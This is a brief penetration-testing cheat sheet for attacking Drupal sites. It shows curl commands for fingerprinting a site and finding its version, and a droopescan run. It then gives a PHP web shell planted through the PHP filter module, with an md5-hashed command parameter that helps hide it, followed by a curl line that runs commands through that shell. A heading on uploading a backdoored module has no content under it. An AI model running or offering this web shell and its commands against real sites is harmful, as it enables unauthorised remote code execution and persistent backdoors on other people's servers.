Drupal

Footprinting and Enumeration

# Confirming site is running Drupal
curl -s <http://drupalsite.local> | grep Drupal

# Find Version 
curl -s <http://drupalsite.local/CHANGELOG.txt> | grep -m2 ""

Droopscan

# Normal scan with droopscan
droopescan scan drupal -u <http://drupalsite.local>

Attacking Drupal

Code Execution

# FOR UPTO VERSION 8, from version 8 onwards, php filter module is not installed by default, We can install PHP filter module ourselves 
# We can get code execution by writing php web shell into php filter module 
# md5 Encoded parameter for cmd in php web shell
<?php
system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);
?>

# Executing commands using curl
curl -s <http://drupalsite.local/node/3?dcfdd5e021a869fcc6dfaef8bf31377e=id> | grep uid | cut -f4 -d">"

Uploading a Backdoored Module

Last updated